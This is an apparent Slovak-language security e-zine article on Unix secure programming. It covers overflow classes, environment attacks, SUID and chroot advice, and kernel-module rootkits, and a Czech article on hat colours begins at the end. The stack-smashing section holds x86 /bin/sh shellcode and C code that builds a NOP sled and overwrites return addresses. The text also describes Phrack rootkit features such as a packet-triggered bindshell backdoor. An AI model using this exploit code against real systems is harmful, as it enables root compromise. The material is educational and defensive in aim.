  • odfirewallovanie vsetkych portov, na ktorych nema pocuvat ziadna sluzba



    Buffer Overflow

  • pretecenie vyrovnavacej pamate



    Ochrana

  • decentralizovana
    • jednotlive aplikacie budu pisane bezpecne
    • kontrolovanie hranic buffra pri praci s nim
    • pouzivanie bezpecnych funkcii ako fgets(), strncat(), strncpy()
    • NEpouzivane/opatrne pouzivanie funkcii ako gets(), sprintf(), strcat(),
      strcpy(), streadd(), strecpy(), strtrns(), index(), fscanf(),
      sscanf(), vsprintf(), realpath(), getopt(), getpass()


  • centralizovana
    • systemove kniznice/jadro budu dohliadat nad bezpecnym chodom aplikacii
    • najjednoduchsie je pouzit maly patch na jadro systemu, ktory zaisti, ze stack nebude spustitelny
      toto riesenie zial velmi obmedzi chod aplikacii (prestanu fungovat 'trampolinove' funkcie)
      aj keby sme nastavovali executable prava na stack len ked ich potrebujeme je tu opat moznost zneuzitia. Nehlede na to ze v soucasne dobe se uz vi o mnoha
      technikach jak tyto kontroly obejit (call back into libc, napriklad)
    • OpenWall/GRsec
    • StackGuard
    • LIDS



    Heap Overflow - prepsani malloc()-okovane pameti

  • je to obdoba stack overflowu, ale nepreplnime buffer v zasobniku ale v bss, takze
    je tezssi na exploitovani (v bss nejsou zpravidla adresy navratu funkci), ale v soucasne
    dobe to je nejcasteji nachazena a zneuzivana chyba (php, openssl, openssh ...)



    Ochrana

  • spravne zaobchadzanie s datovymi typmi



    Format String Overflow

  • program sa spolieha pri pracovani s premennymi na to, ze neobsahuju ziadne formatovave znaky
  • nespravne pouzitie : printf(variable);



    Ochrana

  • spravne pouzitie: printf("%s", variable);
  • FormatGuard od Immunixu (nutne prekompilovat binarky)



    Enviroment PATH attack

  • vela uzivatelov zvykne do premennej PATH nastavit aktualny adresar ".", co sposobi,
    ze napriklad v adresari /tmp mozu spustit nechtiac podvrhnuty program


    Ochrana

  • nepridavat do premennej PATH aktualny adresar


    Enviroment IFS attack

  • IFS (Internal Field Separator) sluzi na oddelovanie slov na vstupe. V pripade ze je tato
    premenna nastavena na spravnu hodnotu, moze uzivatelovi sposobit, ze nechcene spusti nieco,
    co vobec nemal v umysle, alebo ovplyvni beh programov, ktore pouzivaju shellovske
    funkcie system() alebo popen().



    Ochrana

  • pouzivat shell, ktory automaticky premennu IFS vracia do prednastaveneho stavu ()
  • na zaciatku vlastneho programu nastavit IFS na vychodziu hodnotu
  • vseobecne je vhodne vo vlastnych programoch vsetky premenne prostredia vycistit a nastavit len tie,
    ktore nutne potrebujeme (napriklad na volanie externeho programu/funkcie)


    Utok cez mena suborov


  • Kedze unixove suborove systemy nemaju obmedzenia na mena suborov (okrem "/" a "0x0h")
    je mozne vytvorit subor, ktory zmatie prikazy ako find, xargs a podobne


    Ochrana

  • pouzivat cerstve verzie programov



    World/Group writable/readable subory

  • utocnik moze zmenit obsah startovacich suborov v domovskom adresari obete
    a tym spustit akykolvek program pod uid/gid obete, pripadne precitat meno/heslo z konfiguracie
    roznych programov



    Ochrana

  • nevytvarat world writable subory (umask 022)
  • subory s heslami/konfiguraciou mat s umask 077



    RootKit

  • Subor programov pomahajucich utocnikovi napadnuty stroj velmi rychlo osadit
    backdoormi a pripadne odstranit logy poukazujuce na utocnikovu cinnost.



    Bordelizator


  • Skript (zvycajne perl/shell), ktory spusta cielovy program so vstupmi generovanymi podla urcenych pravidiel
    a snazi sa prinutit tento program, aby skolaboval. Akonahle sa to podari, je tu pravdepodobnost, ze bude
    mozne nan napisat buffer overflow / heap overflow exploit. Da sa vyuzit za podpory jednoducheho
    programu v "C", ktory nam vrati obsah registra ESP po kolapse programu. Co pouzijeme pri hadani navratovej adresy.



    Ochrana


  • dobre napisany program overujuci vsetky vstupy a pouzivajuci bezpecne funkcie a kniznice.



    Password Cracking

  • hadanie hesiel z jednosmerne zakryptovanych suborov (unixova funkcia crypt() vyuzivajuca zvycajne DES alebo MD5 hash
  • crackovat mozme bud podla slovnika, alebo skusanim vsetkych kombinacii (Brute Force attack)


    Ochrana

  • Pouzivat silne hesla = vela znakov, pouzit male aj velke pismena, cisla a nealfanumericke znaky



    Obmedzenie bezpecnostnych chyb pri programovani



    Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb,
    ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady
    oznacuju ako chyby (resp. bugs).



    V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest
    k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke.
    Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu.
    Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom
    "it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".



    Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne.
    V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024)
    zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel.
    V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.



    Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.



    Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program,
    napr. necakanym formatovanim, velkostou a podobne.
    Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat.
    Oplati sa preverit aj systemove premenne.
    Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad
    toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().



    Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit
    preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(),
    vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns().
    Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom
    ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou.
    Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor.
    Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.



    V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie
    write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat.
    Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme.
    Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat
    o tom hlasenie a program ukoncit.



    "Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na
    systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd.
    Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.


    Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu
    z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.



    Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog
    treba kontrolovat dlzku parametrov predavanych syslogu.



    Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je
    schopny najst zakladne chyby.



    Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia
    totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po
    tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat.
    Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit
    a az potom fchown(), fchmod(), alebo fstat().



    Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom
    prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat
    volani system() a popen().



    Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze
    subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove
    hlasenia.



    Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba
    zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze
    sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych
    pre ostatnych uzivatelov (samozrejme pokial je to mozne).



    Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov,
    ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je
    najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale
    na nase ucely posluzi velmi dobre.




    Tvorba sietovych aplikacii



    Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().

    Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).

    Nedoverovat paketom len kvoli ich IP adrese.

    Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.

    Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.

    Rozumne nastavovat timeouty na read/write zo siete.

    Samozrejme treba dokladne kontrolovat vstup na velkost.

    Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.

    Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.

    Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.

    Logovanie do suboru/syslogu by mala byt samozrejmost.

    Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).

    Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.




    Pisanie SUID/SGID programov



    Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)



    Nepiste SUID SHELL scripty.



    Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste
    pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym
    uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID
    vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie
    pomocou skupinovych prav.



    Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0,
    vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID
    program, ktory bude svedomite kontrolovat vstup z hlavneho programu.
    Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.



    Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a
    vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.



    Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne
    sa tak zvysuje riziko chyby.



    Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami.
    Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad:
    putenv("PATH=/bin:/usr/bin");
    putenv("IFS= tn");
    Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v
    systeme nenachadzaju aj dalsie zmienky o tychto premennych.



    Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania
    execve(), exevc() a excl() a aj to s maximalnou opatrnostou.
    Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.



    Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho
    prikazu nezabudnite na setgid(getid()) a setuid(getuid()).



    Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa
    na aktualnu cestu po spusteni.



    Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.




    Pouzitie funkcie chroot()



    Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot().
    Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa
    zamedzi pristupu do vyssich adresarov v stromovej strukture systemu.
    V pripade ze vas program potrebuje zdielane kniznice, musite mu ich
    nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky.
    Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit
    openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log.
    Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik
    sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote
    nechate naozaj len prikazy a subory, ktore tam nutne musia byt.



    Buffer Overflow


    Priklad pretecenia buffra:



    void function(char *str) {
    char buffer[16];
    strcpy(buffer,str);
    }


    void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
    large_string[i] = 'A';
    function(large_string);
    }
    /pr.0xb.1/


    Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze
    function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi
    kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string.
    To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:



    +-----------------------+ +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    |.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..|
    +-----------------------+ +-----------------------+
    | *str | | strcpy() sa pokusi |
    +-----------------------+ | zapisat 256 bajtov do |
    | ret | ^ | do buffra,cim prepise |
    +-----------------------+ | | sftp, ret a *str. |
    | sfp | | | |
    +-----------------------+ | +-----------------------+
    | buffer[16] | | | buffer[16] |
    | | | | |
    +-----------------------+ +-----------------------+
    |.......heap............| |.......heap............|
    +-----------------------+ +-----------------------+
    |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    pred zavolanim strcpy() po zavolani strcpy()



    Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa
    mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu
    a preto je ukonceny s hlaskou Segmentation Fault.

    Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou
    pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte.
    Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov
    utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca
    obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu,
    ktora moze spustit lubovolny kod v zasobniku.




    Shell kod



    Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych
    pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu,
    ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT
    binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu
    nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych
    UNIXovych systemoch a je predvoleny shell pre uzivatela root.

    Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka
    sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.

    To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym
    ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky
    ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov
    je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive
    ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme.
    Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:



    1. V pamati sa vyskytuje nulou zakonceny string /bin/sh

    2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom

    3. 0xb sa kopiruje do EAX registra

    4. Adresa stringu /bin/sh sa zkopiruje do EBX registra

    5. Adresa stringu /bin/sh sa zkopiruje do ECX registra

    6. Adresa nuloveho long-wordu sa skopiruje do EDX registra

    7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch

    8. 0x1 sa nakopiruje do EAX registra

    9. 0x0 sa nakopiruje do EBX registra

    a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch



    Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:



    char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";


    Kombinacia prikladu buffer overflowu a shell kodu:



    char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";


    char large_string[128];


    void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */


    /* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */
    for( i = 0; i < 32; i++)
    *(long_ptr + i ) = (int) buffer;


    /* zkopiruj shell kod do large_stringu */
    for( i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];


    /* buffer dostane shell kod a 32 pointerov spat na seba sameho */
    strcpy(buffer,large_string);
    }
    /pr.0xc.1/


    Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati,
    kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string.
    Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie.
    Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho.
    Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu
    programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).



    +-----------------------+ +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    | uzivatelsky zasobnik | | uzivatelsky zasobnik |
    +-----------------------+ +-----------------------+
    | ret | | o ^ ret |
    +-----------------------+ +-s--v--|---------------+
    | sfp | | t e | sfp |
    +-----------------------+ +-r--r--|---------------+
    /----- | long_ptr | | c f | long_ptr|
    | +-----------------------+ +-p--l--|---------------+
    |(x32) | i | | y o | i |
    | +-----------------------+ +----w--|---------------+
    | /-- | buffer | /-> | | buffer |
    | | +-----------------------+ | +-----------------------+
    | -> | | -- | |
    | | | | |
    ----> | large_string[128] | | large_string[128] |
    | | | |
    /-> | | /-> | |
    | +-----------------------+ | +-----------------------+
    -- | shellcode[] | -- | shellcode[] |
    | | | |
    +-----------------------+ +-----------------------+
    |.......heap............| |.......heap............|
    +-----------------------+ +-----------------------+
    |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisany



    Realny stack smashing



    V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako
    sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :)
    Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia
    beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia,
    alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod
    nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri
    znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti
    sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec
    navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing
    exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa
    zvykne ulozit do premennej prostredia.



    Pisanie exploitov vyuzivajucich preplnenie zasobnika



    Zopakujme si rozlozenie zasobniku:



    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | navratova adresa | velkost 4 bajty
    +-----------------------+
    SP | base pointer | velkost 4 bajty
    +-----------------------+
    -1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |



    Zopakujme si princip buffer overflowu:

    Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len
    vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do
    pole2 musime zapisat 1032 bajtov (1024+4+4)


    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | 4 krat "X" | velkost 4 bajty
    +-----------------------+
    SP | 4 krat "X" | velkost 4 bajty
    +-----------------------+
    -1024 bajtov | 1024 krat "X" | velkost 1024 bajtov
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |



    Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa
    bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri
    ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako
    dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu.
    Napriklad takto:


    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | adresa shell kodu | ---
    +-----------------------+ |
    SP | 4 nevyznamne bajty | |
    +-----------------------+ |
    -1024 bajtov | shell kod | <--/
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |


    Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna,
    ktoru ideme prepisat, ba aj o cosi dlhsi ;-).

    Presne o 8 bajtov - base pointer (4bajty) + ret adresa(4bajty).

    Linearny diagram by mohol vyzerat asi takto: .... ...



    Priklad upravy x86 shell kodu:



    #define lv_size=1024; /* dlzka premennej, na ktoru utocime */
    char buffer[lv_size+8]; /* pozicia navratovej adresy */
    /* execshell je pole s nasim shell kodom */
    for(i=0;i<lv_size-strlen(execshell);i++)
    ptr[i]=0x90;
    for(i=0;i<strlen(execshell);i++)
    ptr[i+lv_size-strlen(execshell)]=execshell[i];



    Pripadne elegantnejsi sposob:


    #define lv_size=1024
    char buffer[lv_size+8]
    memset(ptr,0x90,lv_size-strlen(execshell));
    ptr+=lv_size-strlen(execshell);
    for(i=0;i<strlen(execshell);i++)
    *(ptr++)=execshell[i];


    Pre ine platformy ma instrukcia NOP (0x90) iny opcode.


    Ziskanie realnej adresy zasobnika


    Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy
    nazvyme OSP - Original Stack Pointer.
    K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich -ov a po ich vykonani
    spustilo aj nas shell kod.



    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | adresa OSP + offset | ---
    +-----------------------+ |
    SP | 4 nevyznamne bajty | |
    +-----------------------+ |
    -1024 bajtov | [shell kod] | |
    | [nop] | |
    | [nop] | ---/ OSP + offset
    | [nop] | -------
    | [nop] | | offset
    | [...] | | vacsi
    +-----------------------+ | ako
    -2048 bajtov | lokalne pole1[1024] | | 1024
    OSP -> +-----------------------+ -------/
    | ... |




    V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu.
    Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili.
    Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto:

    function unsigned long get_sp(void)
    {
    int x;
    return (unsigned long) &x;
    }

    Prvy Priklad zistenia SP:

    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    *ptr2=get_sp()+offset;


    Druhy (robustnejsi) priklad zistenia SP:

    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    for(i=1;<8;i++)
    *(ptr2++)=get_sp()+offset;


    Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika
    nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach
    kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;




    Moduly jadra



    Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia
    s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel
    nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme.
    Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli
    vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly,
    ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju
    administratora a pripadne pokus o utok zastavia.



    Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module.
    Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do
    naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table,
    aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim
    a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.



    Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat
    ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia
    moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj
    taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM.
    To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).



    Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho
    obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich
    sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.



    Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:


    • maskovacie funkcie: po zavedeni do jadra zmodifikuje struct module *mp a get_kernel_symbols(2),
      takze sa nezobrazi v /proc/modules alebo vystume ksyms. Neda sa unloadnut z jadra.
    • utajenie sniffra: zmeni ioctl(2), takze PROMISC priznak bude schovany. Sniffer musi byt spusteny
      pred zavedenim tohoto modulu.
    • zmiznutie suborov: systemove volanie getdents(2) budu tiez zmenene, takze subory obsahujuce
      dane slovo budu neviditelne.
    • maskovanie procesov: podobne ako maskovanie suborov - procesy obsahujuce dane argv polozky
      sa nebudu zobrazovat a nenajdeme ich ani v /proc/ filesysteme
    • presmerovanie execve: ked sa ma spustit definovany program, tento modul spusti miesto neho
      iny program. Pouziva volanie brk(2) specialnym sposobom, na zvacsenie datoveho segmentu
      programu este pokial je v kernel rezime. To je 'vymozenost' linuxu.
    • socket recvfrom() backdoor: po prichode packetu, ktory ma danu velkost a obsahuje dany retazec,
      spusti sa program. Vacsniou ide o shellovsky skript, ktory spusti bindshell.
    • setuid() trojan: po spusteni suid programu s konkretnym uid, volajuci proces dostane
      uid = euid = gid = 0



    Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze
    strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu
    privilegii jednotlivych uzivatelov a procesov.

    Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra.
    Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).

    Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav
    k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.




    Pouzita literatura:



    Historia Unixu

    http://cm.bell-labs.com/cm/cs/who/dmr/hist.html

    http://www.english.uga.edu/hc/unixhistory.html



    Popis programatorskych chyb

    http://www.tuxedo.org



    Popis stack smashingu

    Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps



    Pisanie stack overflow exploitov

    PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX



    Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]

    Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]

    O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]





    maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk


    navrat na obsah

    co ty na to ? board








    cerne a bile klobouky



    ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem
    "blackhat" a "whitehat" se dnes stavaji modernimi a dostavaji se do podvedomi
    verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest
    ctenare "politickou slozkou" security sceny, vezmeme si tady na paskal
    nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc
